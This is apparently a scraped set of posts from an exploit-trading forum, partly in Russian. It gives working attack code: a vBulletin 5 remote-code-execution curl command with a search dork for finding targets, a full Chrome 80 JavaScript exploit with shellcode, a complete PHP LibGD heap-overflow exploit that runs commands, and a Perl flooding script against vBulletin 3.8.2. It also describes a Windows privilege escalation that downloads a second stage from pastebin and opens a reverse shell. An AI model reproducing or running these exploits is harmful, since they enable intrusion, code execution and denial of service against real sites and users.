RCE, vBulletin 5xx, CVE-N/A (Bypass CVE-2019-16759)
ID: 67686ba3b4103b69df379ca9
Thread ID: 40740
Created: 2020-08-10T10:43:04+0000
Last Post: 2020-11-22T15:54:31+0000
Author: phant0m
Prefix: Web
Replies: 6 Views: 3K

0day RCE exploit on vBulletin 5xx

dork

Code:Copy to clipboard

intext:"Powered by vBulletin"

POC

Code:Copy to clipboard

curl -s http://SITE/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo%20shell_exec("id"); exit;'

EfDNzL5WAAAzTBq.png

RCE, Google Chrome version 80.0.3987.116, Windows 10 x64, CVE-N\A
ID: 67686ba3b4103b69df379cce
Thread ID: 35208
Created: 2020-02-26T13:14:38+0000
Last Post: 2020-02-26T13:14:38+0000
Author: weaver
Prefix: Remote
Replies: 0 Views: 3K

readme

Chrome Issue 1053604 JSCreate Side-Effect Type Confusion RCE Exploit

This script exploits a type confusion issue in Google Chrome. Tested on Windows 10 x64, Chrome version 80.0.3987.116.

  • Start chrome with the --no-sandbox argument
  • Running the exploit requires hosting the contents of this directory and visiting exp.html in Chrome. Shellcode can be replaced by modifying the shellcode.js file. Currently shellcode length is limited to 4KiB.

Click to expand...

shellcode.js

JavaScript:Copy to clipboard

shellcode =  unescape("%u48fc%ue483%ue8f0%u00c0%u0000%u5141%u5041%u5152%u4856%ud231%u4865%u528b%u4860%u528b%u4818%u528b%u4820%u728b%u4850%ub70f%u4a4a%u314d%u48c9%uc031%u3cac%u7c61%u2c02%u4120%uc9c1%u410d%uc101%uede2%u4152%u4851%u528b%u8b20%u3c42%u0148%u8bd0%u8880%u0000%u4800%uc085%u6774%u0148%u50d0%u488b%u4418%u408b%u4920%ud001%u56e3%uff48%u41c9%u348b%u4888%ud601%u314d%u48c9%uc031%u41ac%uc9c1%u410d%uc101%ue038%uf175%u034c%u244c%u4508%ud139%ud875%u4458%u408b%u4924%ud001%u4166%u0c8b%u4448%u408b%u491c%ud001%u8b41%u8804%u0148%u41d0%u4158%u5e58%u5a59%u5841%u5941%u5a41%u8348%u20ec%u5241%ue0ff%u4158%u5a59%u8b48%ue912%uff57%uffff%u485d%u01ba%u0000%u0000%u0000%u4800%u8d8d%u0101%u0000%uba41%u8b31%u876f%ud5ff%uf0bb%ua2b5%u4156%ua6ba%ubd95%uff9d%u48d5%uc483%u3c28%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5900%u8941%uffda%u63d5%u6c61%u2e63%u7865%u0065");

exploit.html

HTML:Copy to clipboard

<html>
    <body>

        Hello, there! Hope you have a nice day!

        <script src="shellcode.js">
        </script>
        <script src="exploit.js">
        </script>


    </body>
</html>

exploit.js

JavaScript:Copy to clipboard

// HELPER FUNCTIONS
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
    return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
    int_view[0] = this;
    return float_view[0];
}
BigInt.prototype.smi2f = function() {
    int_view[0] = this << 32n;
    return float_view[0];
}
Number.prototype.f2i = function() {
    float_view[0] = this;
    return int_view[0];
}
Number.prototype.f2smi = function() {
    float_view[0] = this;
    return int_view[0] >> 32n;
}

Number.prototype.fhw = function() {
    float_view[0] = this;
    return int_view[0] >> 32n;
}

Number.prototype.flw = function() {
    float_view[0] = this;
    return int_view[0] & BigInt(2**32-1);
}

Number.prototype.i2f = function() {
    return BigInt(this).i2f();
}
Number.prototype.smi2f = function() {
    return BigInt(this).smi2f();
}

function hex(a) {
    return a.toString(16);
}

//
// EXPLOIT
//

// the number of holes here determines the OOB write offset
let vuln = [0.1, ,,,,,,,,,,,,,,,,,,,,,, 6.1, 7.1, 8.1];
var float_rel;      // float array, initially corruption target
var float_carw;     // float array, used for reads/writes within the compressed heap
var uint64_aarw;    // uint64 typed array, used for absolute reads/writes in the entire address space
var obj_leaker;     // used to implement addrof
vuln.pop();
vuln.pop();
vuln.pop();

function empty() {}

function f(nt) {
    // The compare operation enforces an effect edge between JSCreate and Array.push, thus introducing the bug
    vuln.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? 0.2 : 156842065920.05);
    for (var i = 0; i < 0x10000; ++i) {};
}

let p = new Proxy(Object, {
    get: function() {
        vuln[0] = {};
        float_rel = [0.2, 1.2, 2.2, 3.2, 4.3];
        float_carw = [6.6];
        uint64_aarw = new BigUint64Array(4);
        obj_leaker = {
            a: float_rel,
            b: float_rel,
        };

        return Object.prototype;
    }
});

function main(o) {
  for (var i = 0; i < 0x10000; ++i) {};
  return f(o);
}

// reads 4 bytes from the compressed heap at the specified dword offset after float_rel
function crel_read4(offset) {
    qw_offset = Math.floor(offset / 2);
    if (offset & 1 == 1) {
        return float_rel[qw_offset].fhw();
    } else {
        return float_rel[qw_offset].flw();
    }
}

// writes the specified 4-byte BigInt value to the compressed heap at the specified offset after float_rel
function crel_write4(offset, val) {
    qw_offset = Math.floor(offset / 2);
    // we are writing an 8-byte double under the hood
    // read out the other half and keep its value
    if (offset & 1 == 1) {
        temp = float_rel[qw_offset].flw();
        new_val = (val << 32n | temp).i2f();
        float_rel[qw_offset] = new_val;
    } else {
        temp = float_rel[qw_offset].fhw();
        new_val = (temp << 32n | val).i2f();
        float_rel[qw_offset] = new_val;
    }
}

const float_carw_elements_offset = 0x14;

function cabs_read4(caddr) {
    elements_addr = caddr - 8n | 1n;
    crel_write4(float_carw_elements_offset, elements_addr);
    console.log('cabs_read4: ', hex(float_carw[0].f2i()));
    res = float_carw[0].flw();
    // TODO restore elements ptr
    return res;
}


// This function provides arbitrary within read the compressed heap
function cabs_read8(caddr) {
    elements_addr = caddr - 8n | 1n;
    crel_write4(float_carw_elements_offset, elements_addr);
    console.log('cabs_read8: ', hex(float_carw[0].f2i()));
    res = float_carw[0].f2i();
    // TODO restore elements ptr
    return res;
}

// This function provides arbitrary write within the compressed heap
function cabs_write4(caddr, val) {
    elements_addr = caddr - 8n | 1n;

    temp = cabs_read4(caddr + 4n | 1n);
    console.log('cabs_write4 temp: ', hex(temp));

    new_val = (temp << 32n | val).i2f();

    crel_write4(float_carw_elements_offset, elements_addr);
    console.log('cabs_write4 prev_val: ', hex(float_carw[0].f2i()));

    float_carw[0] = new_val;
    // TODO restore elements ptr
    return res;
}

const objleaker_offset = 0x41;
function addrof(o) {
    obj_leaker.b = o;
    addr = crel_read4(objleaker_offset) & BigInt(2**32-2);
    obj_leaker.b = {};
    return addr;
}

const uint64_externalptr_offset = 0x1b;     // in 8-bytes

// Arbitrary read. We corrupt the backing store of the `uint64_aarw` array and then read from the array
function read8(addr) {
    faddr = addr.i2f();
    t1 = float_rel[uint64_externalptr_offset];
    t2 = float_rel[uint64_externalptr_offset + 1];
    float_rel[uint64_externalptr_offset] = faddr;
    float_rel[uint64_externalptr_offset + 1] = 0.0;

    val = uint64_aarw[0];

    float_rel[uint64_externalptr_offset] = t1;
    float_rel[uint64_externalptr_offset + 1] = t2;
    return val;
}

// Arbitrary write. We corrupt the backing store of the `uint64_aarw` array and then write into the array
function write8(addr, val) {
    faddr = addr.i2f();
    t1 = float_rel[uint64_externalptr_offset];
    t2 = float_rel[uint64_externalptr_offset + 1];
    float_rel[uint64_externalptr_offset] = faddr;
    float_rel[uint64_externalptr_offset + 1] = 0.0;

    uint64_aarw[0] = val;

    float_rel[uint64_externalptr_offset] = t1;
    float_rel[uint64_externalptr_offset + 1] = t2;
    return val;
}

// Given an array of bigints, this will write all the elements to the address provided as argument
function writeShellcode(addr, sc) {
    faddr = addr.i2f();
    t1 = float_rel[uint64_externalptr_offset];
    t2 = float_rel[uint64_externalptr_offset + 1];
    float_rel[uint64_externalptr_offset - 1] = 10;
    float_rel[uint64_externalptr_offset] = faddr;
    float_rel[uint64_externalptr_offset + 1] = 0.0;

    for (var i = 0; i < sc.length; ++i) {
        uint64_aarw[i] = sc[i]
    }

    float_rel[uint64_externalptr_offset] = t1;
    float_rel[uint64_externalptr_offset + 1] = t2;
}


function get_compressed_rw() {

    for (var i = 0; i < 0x10000; ++i) {empty();}

    main(empty);
    main(empty);

    // Function would be jit compiled now.
    main(p);
  
    console.log(`Corrupted length of float_rel array = ${float_rel.length}\n`);
}

function get_arw() {
    get_compressed_rw();
    console.log('should be 0x2: ' + hex(crel_read4(0x15)));
    let previous_elements = crel_read4(0x14);
    console.log(hex(previous_elements));
    console.log(hex(cabs_read4(previous_elements)));
    console.log(hex(cabs_read4(previous_elements + 4n)));
    cabs_write4(previous_elements, 0x66554433n);
    console.log(hex(cabs_read4(previous_elements)));
    console.log(hex(cabs_read4(previous_elements + 4n)));

    console.log('addrof(float_rel): ' + hex(addrof(float_rel)));
    uint64_aarw[0] = 0x4142434445464748n;
}

function rce() {
    function get_wasm_func() {
        var importObject = {
            imports: { imported_func: arg => console.log(arg) }
        };
        bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb];
        wasm_code = new Uint8Array(bc);
        wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject);
        return wasm_mod.exports.exported_func;
    }

    let wasm_func = get_wasm_func();
    wfunc = wasm_func;
  
    //  traverse the JSFunction object chain to find the RWX WebAssembly code page
    let wasm_func_addr = addrof(wasm_func);
    let sfi = cabs_read4(wasm_func_addr + 12n) - 1n;
    console.log('sfi: ' + hex(sfi));
    let WasmExportedFunctionData = cabs_read4(sfi + 4n) - 1n;
    console.log('WasmExportedFunctionData: ' + hex(WasmExportedFunctionData));

    let instance = cabs_read4(WasmExportedFunctionData + 8n) - 1n;
    console.log('instance: ' + hex(instance));

    let rwx_addr = cabs_read8(instance + 0x68n);
    console.log('rwx_addr: ' + hex(rwx_addr));

    // write the shellcode to the RWX page
    while(shellcode.length % 4 != 0){
        shellcode += "\u9090";
    }

    let sc = [];

    // convert the shellcode to BigInt
    for (let i = 0; i < shellcode.length; i += 4) {
        sc.push(BigInt(shellcode.charCodeAt(i)) + BigInt(shellcode.charCodeAt(i + 1) * 0x10000) + BigInt(shellcode.charCodeAt(i + 2) * 0x100000000) + BigInt(shellcode.charCodeAt(i + 3) * 0x1000000000000));
    }

    writeShellcode(rwx_addr,sc);

    console.log('success');
    wfunc();
}


function exp() {
    get_arw();
    rce();
}

exp();

Источник https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping/

Arbitrary code execution, (LibGD) PHP 4 <= 7.3, CVE-2019-6977
ID: 67686ba3b4103b69df379cd8
Thread ID: 28684
Created: 2019-04-09T17:17:57+0000
Last Post: 2019-11-08T20:16:18+0000
Author: weaver
Prefix: Remote
Replies: 4 Views: 3K

Список таргетов: https://www.securityfocus.com/bid/106731/info
Детали баги: https://bugs.php.net/bug.php?id=77270

PoC by RIPS

PHP:Copy to clipboard

<?php
# imagecolormatch() OOB Heap Write exploit
# https://bugs.php.net/bug.php?id=77270
# CVE-2019-6977
# Charles Fol
# @cfreal_
#
# Usage: GET/POST /exploit.php?f=<system_addr>&c=<command>
# Example: GET/POST /exploit.php?f=0x7fe83d1bb480&c=id+>+/dev/shm/titi
#
# Target: PHP 7.2.x
# Tested on: PHP 7.2.12
#

/*

buf = (unsigned long *)safe_emalloc(sizeof(unsigned long), 5 * im2->colorsTotal, 0);

    for (x=0; x<im1->sx; x++) {
        for( y=0; y<im1->sy; y++ ) {
            color = im2->pixels[y][x];
            rgb = im1->tpixels[y][x];
            bp = buf + (color * 5);
            (*(bp++))++;
            *(bp++) += gdTrueColorGetRed(rgb);
            *(bp++) += gdTrueColorGetGreen(rgb);
            *(bp++) += gdTrueColorGetBlue(rgb);
            *(bp++) += gdTrueColorGetAlpha(rgb);
        }

The buffer is written to by means of a color being the index:
color = im2->pixels[y][x];
..
bp = buf + (color * 5);

*/

#
# The bug allows us to increment 5 longs located after buf in memory.
# The first long is incremented by one, others by an arbitrary value between 0
# and 0xff.
#

error_reporting(E_ALL);
define('OFFSET_STR_VAL', 0x18);
define('BYTES_PER_COLOR', 0x28);


class Nenuphar extends DOMNode
{
    # Add a property so that std.properties is created
    function __construct()
    {
        $this->x = '1';
    }

    # Define __get
    # => ce->ce_flags & ZEND_ACC_USE_GUARDS == ZEND_ACC_USE_GUARDS
    # => zend_object_properties_size() == 0
    # => sizeof(intern) == 0x50
    function __get($x)
    {
        return $this->$x;
    }
}

class Nenuphar2 extends DOMNode
{
    function __construct()
    {
        $this->x = '2';
    }

    function __get($x)
    {
        return $this->$x;
    }
}

function ptr2str($ptr, $m=8)
{
    $out = "";
    for ($i=0; $i<$m; $i++)
    {
        $out .= chr($ptr & 0xff);
        $ptr >>= 8;
    }
    return $out;
}

function str2ptr(&$str, $p, $s=8)
{
    $address = 0;
    for($j=$p+$s-1;$j>=$p;$j--)
    {
        $address <<= 8;
        $address |= ord($str[$j]);
    }
    return $address;
}

# Spray stuff so that we get concurrent memory blocks
for($i=0;$i<100;$i++)
    ${'spray'.$i} = str_repeat(chr($i), 2 * BYTES_PER_COLOR - OFFSET_STR_VAL);
for($i=0;$i<100;$i++)
    ${'sprayx'.$i} = str_repeat(chr($i), 12 * BYTES_PER_COLOR - OFFSET_STR_VAL);

#
# #1: Address leak
# We want to obtain the address of a string so that we can make
# the Nenuphar.std.properties HashTable* point to it and hence control its
# structure.
#

# We create two images $img1 and $img2, both of 1 pixel.
# The RGB bytes of the pixel of $img1 will be added to OOB memory because we set
# $img2 to have $nb_colors images and we set its only pixel to color number
# $nb_colors.
#
$nb_colors = 12;
$size_buf = $nb_colors * BYTES_PER_COLOR;

# One pixel image so that the double loop iterates only once
$img1 = imagecreatetruecolor(1, 1);

# The three RGB values will be added to OOB memory
# First value (Red) is added to the size of the zend_string structure which
# lays under buf in memory.
$color = imagecolorallocate($img1, 0xFF, 0, 0);
imagefill($img1, 0, 0, $color);

$img2 = imagecreate(1, 1);

# Allocate $nb_colors colors: |buf| = $nb_colors * BYTES_PER_COLOR = 0x1e0
# which puts buf in 0x200 memory blocks
for($i=0;$i<$nb_colors;$i++)
    imagecolorallocate($img2, 0, 0, $i);

imagesetpixel($img2, 0, 0, $nb_colors + 1);

# Create a memory layout as such:
# [z:   zend_string: 0x200]
# [x:   zend_string: 0x200]
# [y:   zend_string: 0x200]
$z = str_repeat('Z', $size_buf - OFFSET_STR_VAL);
$x = str_repeat('X', $size_buf - OFFSET_STR_VAL);
$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL);

# Then, we unset z and call imagecolormatch(); buf will be at z's memory
# location during the execution
# [buf: long[]     : 0x200]
# [x:   zend_string: 0x200]
# [y:   zend_string: 0x200]
#
# We can write buf + 0x208 + (0x08 or 0x10 or 0x18)
# buf + 0x208 + 0x08 is X's zend_string.len
unset($z);
imagecolormatch($img1, $img2);

# Now, $x's size has been increased by 0xFF, so we can read further in memory.
#
# Since buf was the last freed block, by unsetting y, we make its first 8 bytes
# point to the old memory location of buf
# [free:             0x200] <-+
# [x:   zend_string: 0x200]   |
# [free:             0x200] --+
unset($y);
# We can read those bytes because x's size has been increased
$z_address = str2ptr($x, 488) + OFFSET_STR_VAL;

# Reset both these variables so that their slot cannot be "stolen" by other
# allocations
$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL - 8);

# Now that we have z's address, we can make something point to it.
# We create a fake HashTable structure in Z; when the script exits, each element
# of this HashTable will be destroyed by calling ht->pDestructor(element)
# The only element here is a string: "id"
$z =
    # refcount
    ptr2str(1) .
    # u-nTableMask meth
    ptr2str(0) .
    # Bucket arData
    ptr2str($z_address + 0x38) .
    # uint32_t nNumUsed;
    ptr2str(1, 4) .
    # uint32_t nNumOfElements;
    ptr2str(1, 4) .
    # uint32_t nTableSize
    ptr2str(0, 4) .
    # uint32_t nInternalPointer
    ptr2str(0, 4) .
    # zend_long nNextFreeElement
    ptr2str(0x4242424242424242) .
    # dtor_func_t pDestructor
    ptr2str(hexdec($_REQUEST['f'])) .
    str_pad($_REQUEST['c'], 0x100, "\x00") .
    ptr2str(0, strlen($y) - 0x38 - 0x100);
;

# At this point we control a string $z and we know its address: we'll make an
# internal PHP HashTable structure point to it.


#
# #2: Read Nenuphar.std.properties
#

# The tricky part here was to find an interesting PHP structure that is
# allocated in the same fastbins as buf, so that we can modify one of its
# internal pointers. Since buf has to be a multiple of 0x28, I used dom_object,
# whose size is 0x50 = 0x28 * 2. Nenuphar is a subclass of dom_object with just
# one extra method, __get().
# php_dom.c:1074: dom_object *intern = ecalloc(1, sizeof(dom_object) + zend_object_properties_size(class_type));
# Since we defined a __get() method, zend_object_properties_size(class_type) = 0
# and not -0x10.
#
# zend_object.properties points to an HashTable. Controlling an HashTable in PHP
# means code execution since at the end of the script, every element of an HT is
# destroyed by calling ht.pDestructor(ht.arData[i]).
# Hence, we want to change the $nenuphar.std.properties pointer.
#
# To proceed, we first read $nenuphar.std.properties, and then increment it
# by triggering the bug several times, until
# $nenuphar.std.properties == $z_address
#
# Sadly, $nenuphar.std.ce will also get incremented by one every time we trigger
# the bug. This is due to (*(bp++))++ (in gdImageColorMatch).
# To circumvent this problem, we create two classes, Nenuphar and Nenuphar2, and
# instanciate them as $nenuphar and $nenuphar2. After we're done changing the
# std.properties pointer, we trigger the bug more times, until
# $nenuphar.std.ce == $nenuphar2.std.ce2
#
# This way, $nenuphar will have an arbitrary std.properties pointer, and its
# std.ce will be valid.
#
# Afterwards, we let the script exit, which will destroy our fake hashtable (Z),
# and therefore call our arbitrary function.
#

# Here we want fastbins of size 0x50 to match dom_object's size
$nb_colors = 2;
$size_buf = $nb_colors * BYTES_PER_COLOR;

$img1 = imagecreatetruecolor(1, 1);
# The three RGB values will be added to OOB memory
# Second value (Green) is added to the size of the zend_string structure which
# lays under buf in memory.
$color = imagecolorallocate($img1, 0, 0xFF, 0);
imagefill($img1, 0, 0, $color);

# Allocate 2 colors so that |buf| = 2 * 0x28 = 0x50
$img2 = imagecreate(1, 1);
for($i=0;$i<$nb_colors;$i++)
    imagecolorallocate($img2, 0, 0, $i);

$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL - 8);
$x = str_repeat('X', $size_buf - OFFSET_STR_VAL - 8);
$nenuphar = new Nenuphar();
$nenuphar2 = new Nenuphar2();

imagesetpixel($img2, 0, 0, $nb_colors);

# Unsetting the first string so that buf takes its place
unset($y);

# Trigger the bug: $x's size is increased by 0xFF
imagecolormatch($img1, $img2);

$ce1_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x28);
$ce2_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + $size_buf + 0x28);
$props_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x38);

print('Nenuphar.ce: 0x' . dechex($ce1_address) . "\n");
print('Nenuphar2.ce: 0x' . dechex($ce2_address) . "\n");
print('Nenuphar.properties: 0x' . dechex($props_address) . "\n");
print('z.val: 0x' . dechex($z_address) . "\n");
print('Difference: 0x' . dechex($z_address-$props_address) . "\n");

if(
    $ce2_address - $ce1_address < ($z_address-$props_address) / 0xff ||
    $z_address - $props_address < 0
)
{
    print('That won\'t work');
    exit(0);
}


#
# #3: Modifying Nenuphar.std.properties and Nenuphar.std.ce
#

# Each time we increment Nenuphar.properties by an arbitrary value, ce1_address
# is also incremented by one because of (*(bp++))++;
# Therefore after we're done incrementing props_address to z_address we need
# to increment ce1's address one by one until Nenuphar1.ce == Nenuphar2.ce

# The memory structure we have ATM is OK. We can just trigger the bug again
# until Nenuphar.properties == z_address

$color = imagecolorallocate($img1, 0, 0xFF, 0);
imagefill($img1, 0, 0, $color);
imagesetpixel($img2, 0, 0, $nb_colors + 3);

for($current=$props_address+0xFF;$current<=$z_address;$current+=0xFF)
{
    imagecolormatch($img1, $img2);
    $ce1_address++;
}

$color = imagecolorallocate($img1, 0, $z_address-$current+0xff, 0);
imagefill($img1, 0, 0, $color);
$current = imagecolormatch($img1, $img2);
$ce1_address++;

# Since we don't want to touch other values, only increase the first one, we set
# the three colors to 0
$color = imagecolorallocate($img1, 0, 0, 0);
imagefill($img1, 0, 0, $color);

# Trigger the bug once to increment ce1 by one.
while($ce1_address++ < $ce2_address)
{
    imagecolormatch($img1, $img2);
}

# Read the string again to see if we were successful

$new_ce1_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x28);
$new_props_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x38);

if($new_ce1_address == $ce2_address && $new_props_address == $z_address)
{
    print("\nExploit SUCCESSFUL !\n");
}
else
{
    print('NEW Nenuphar.ce: 0x' . dechex($new_ce1_address) . "\n");
    print('NEW Nenuphar.std.properties: 0x' . dechex($new_props_address) . "\n");
    print("\nExploit FAILED !\n");
}

Источник: https://github.com/cfreal/exploits/tree/master/CVE-2019-6977-imagecolormatch

RCE, Chrome 76.0.3809.132, CVE-2019-5869
ID: 67686ba3b4103b69df379cdc
Thread ID: 31436
Created: 2019-08-30T13:53:09+0000
Last Post: 2019-09-17T23:56:05+0000
Author: tabac
Prefix: DoS
Replies: 2 Views: 3K

Выполнение произвольного кода в Chrome браузерах, атакующий может собирать информацию, выполнять команды

В зависимости от прав доступа, связанных с приложением, злоумышленник может устанавливать программы, просматривать, изменять или удалять данные, а также создавать новые учетные записи с полными правами пользователя

CVE-2019-5869
Google Chrome versions prior to 76.0.3809.132

URL:
[https://www.cisecurity.org/advisory...-allow-for-arbitrary-code- execution_2019-086/](https://www.cisecurity.org/advisory/a-vulnerability-in- google-chrome-could-allow-for-arbitrary-code-execution_2019-086/)
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5869
<https://chromereleases.googleblog.com/2019/08/stable-channel-update-for- desktop_26.html>

vBulletin® Version 3.8.2 Denial of Service Exploit
ID: 67686ba3b4103b69df379dfe
Thread ID: 17772
Created: 2009-06-15T20:24:01+0000
Last Post: 2009-06-15T20:24:01+0000
Author: ATLZ
Prefix: DoS
Replies: 0 Views: 3K

Code:Copy to clipboard

#!usr/bin/perl
#vBulletin® Version 3.8.2 Denial of Service Exploit
#ea$y Laster
########################################################################
# Modules                                                              #
########################################################################
use IO::SOCKET;           # Object interface                           #
########################################################################
if (@ARGV<1){
print"
########################################################################
## _                     _     _                   _                  ##
##| |_ ___ ___ _____ ___|_|___| |_ ___ ___ ___ ___| |_                ##
##|  _| -_| .'|     |___| |   |  _| -_|  _|   | -_|  _|               ##
##|_| |___|__,|_|_|_|   |_|_|_|_| |___|_| |_|_|___|_|                 ##
##                                                                    ##
########################################################################
########################################################################
##                                ##                                  ##
##->vBulletin® Version 3.8.2<-    ##                                  ##
##                                ##                                  ##
##Gebe diese Daten an             ##                                  ##
##1.Ziel                          ##[*] www.Ziel.com                  ##
##2.Board                         ##[*] vbulletin                     ##
##3.Verwundbarkeit                ##[*] forumdisplay.php?f=           ##
##4.Zeit des vorganges            ##[*] 9999999999999999              ##
##5.Port                          ##[*] 80                            ##
########################################################################
\a";}
$block = "
########################################################################";
$fehler = "Fehler!Fehler!Fehler!Fehler";
$x =0;
     print"$block\n";
     print q(Ziel->);
     chomp($ziel =<STDIN>);
     if ($ziel eq""){
     die "$fehler\a\n";}
     print"$block\n";
       print"$block\n";
       print q(Path->);
       chomp($path =<STDIN>);
       if ($path eq "") {
       die "$fehler !\a\n";}
       print"$block\n";
          print"$block\n";
          print "Verwundbarkeit\n";
          print"forumdisplay.php?f=\n";
          print"->"n;
            chomp($vul =<STDIN>);
            if ($vul eq "") {
            die "$fehler !\a\n";}
            print"$block\n";
               print"$block\n";
               print q(Time->);
               chomp($flood =<STDIN>);
               if ($flood eq "") {
               die "$fehler !\a\n";}
                  print"$block\n";
                  print"$block\n";
                  print q(Port->);
                  chomp($port =<STDIN>);
                  if ($port eq ""){
                  die "$fehler \n";}
                  print"$block\n";
                     print q(Send "start"->);
                     chomp($start =<STDIN>);
                     if ($start eq "") {
                     die "$fehler\n";}
print "$block\a\n";
print "[+]Konntroliere Daten \n";
print "[*]Kontroliere Ziel   : $ziel\n";
print "[*]Kontroliere Board  : $path\n";
print "[*]Kontroliere Port   : $port\n";
print "$block\n";
if($start == 1){
while($x != 0000){
$x++;}
}elsif ($start == start){
while($x != $flood)
{
$postit = "$ziel"."$path"."$vul";
$lrg = length $postit;
$sock = new IO::Socket::INET (
                               PeerAddr => "$ziel",
                               PeerPort => "$port",
                               Proto => "tcp",
                              );

print $sock "POST $path$vul HTTP/1.1\n";
print $sock "Host: $ziel\n";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
print $sock "Referer: $ziel\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20070421 Firefox/2.0.0\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
close($sock);
syswrite STDOUT, "->BLACKOUT<-";
$x++;
}
}else{
die "Fehler kann nicht zum Ziel verbinden $ziel !\n";
}
LPE (Use-After-Free), Windows 10\8.1\7\Server 1803\1709\2008\2012\2016\2019, CVE-2019-0859
ID: 67686ba3b4103b69df379ceb
Thread ID: 28823
Created: 2019-04-16T07:52:02+0000
Last Post: 2019-04-23T09:03:23+0000
Author: weaver
Prefix: DoS
Replies: 2 Views: 3K

Детали уязвимости

CVE-2019-0859 is a Use-After-Free vulnerability that is presented in the CreateWindowEx function. During execution CreateWindowEx sends the message WM_NCCREATE to the window when it’s first created. By using the SetWindowsHookEx function, it is possible to set a custom callback that can handle the WM_NCCREATE message right before calling the window procedure.

In win32k.sys all windows are presented by the tagWND structure which has an “fnid” field also known as Function ID. The field is used to define the class of a window; all windows are divided into classes such as ScrollBar, Menu, Desktop and many others.

During the WM_NCCREATE callback, the Function ID of a window is set to 0 and this allowed us to set extra data for the window from inside our hook. More importantly, we were able to change the address for the window procedure that was executed immediately after our hook. The change of window procedure to the menu window procedure leads to the execution of xxxMenuWindowProc and the function initiates Function ID to FNID_MENU because the current message is equal to WM_NCCREATE. But the most important part is that the ability to manipulate extra data prior to setting Function ID to FNID_MENU can force the xxxMenuWindowProc function to stop initialization of the menu and return FALSE. Because of that, sending of the NCCREATE message will be considered a failed operation and CreateWindowEx function will stop execution with a call to FreeWindow. Because our MENU-class window was not actually initialized, it allows us to gain control over the address of the memory block that is freed.

[![](/proxy.php?image=https%3A%2F%2Fmedia.kasperskycontenthub.com%2Fwp- content%2Fuploads%2Fsites%2F43%2F2019%2F04%2F12151014%2F190412-ceg-4633-1.png&hash=ac437572f639cd3b42405a379bdad56d)](https://media.kasperskycontenthub.com/wp- content/uploads/sites/43/2019/04/12151014/190412-ceg-4633-1.png)
win32k!xxxFreeWindow+0x1344 on up-to-date Windows 7 SP1 x64

The exploit we found in the wild was targeting 64-bit versions of Windows (from Windows 7 to older builds of Windows 10) and exploited the vulnerability using the well-known HMValidateHandle technique to bypass ASLR.

After a successful exploitation, the exploit executed PowerShell with a Base64 encoded command. The main aim of this command was to download a second-stage script from https//pastebin.com. The second stage PowerShell executes the final third stage, which is also a PowerShell script.

[![](/proxy.php?image=https%3A%2F%2Fmedia.kasperskycontenthub.com%2Fwp- content%2Fuploads%2Fsites%2F43%2F2019%2F04%2F12151031%2F190412-ceg-4633-2.png&hash=eb7f8d8bc0e24bdfc91d852ddfbdeb4a)](https://media.kasperskycontenthub.com/wp- content/uploads/sites/43/2019/04/12151031/190412-ceg-4633-2.png)
Third stage PowerShell script

The third script is very simple and does the following:

[![](/proxy.php?image=https%3A%2F%2Fmedia.kasperskycontenthub.com%2Fwp- content%2Fuploads%2Fsites%2F43%2F2019%2F04%2F12151049%2F190412-ceg-4633-3.png&hash=a40fa544d1b40c833c82040ea3d7ffd4)](https://media.kasperskycontenthub.com/wp- content/uploads/sites/43/2019/04/12151049/190412-ceg-4633-3.png)
Shellcode from PowerShell script

The main goal of the shellcode is to make a trivial HTTP reverse shell. This helps the attacker gain full control over the victim’s system.

XML External Entity Injection, Internet Explorer 11, Windows 7\10\Server 2012 R2, CVE-N/A, 0day
ID: 67686ba3b4103b69df379cee
Thread ID: 28753
Created: 2019-04-12T13:28:50+0000
Last Post: 2019-04-17T10:51:54+0000
Author: weaver
Prefix: Local
Replies: 2 Views: 3K

Microsoft не намерена выпускать внеплановый патч.

Исследователь безопасности Джон Пэйдж (John Page) раскрыл информацию об уязвимости в браузере Microsoft Internet Explorer 11, позволяющей получить доступ к файлам на системах под управлением ОС Windows. Также был опубликован PoC-код для данного бага.

Проблема связана с процессом обработки IE файлов в формате MHT (MHTML Web Archive). При введении команды CTRL+S (сохранить интернет-страницу) браузер по умолчанию сохраняет страницу в данном формате. Хотя современные браузеры сохраняют web-страницы в стандартном формате HTML, многие все еще поддерживают MHT.

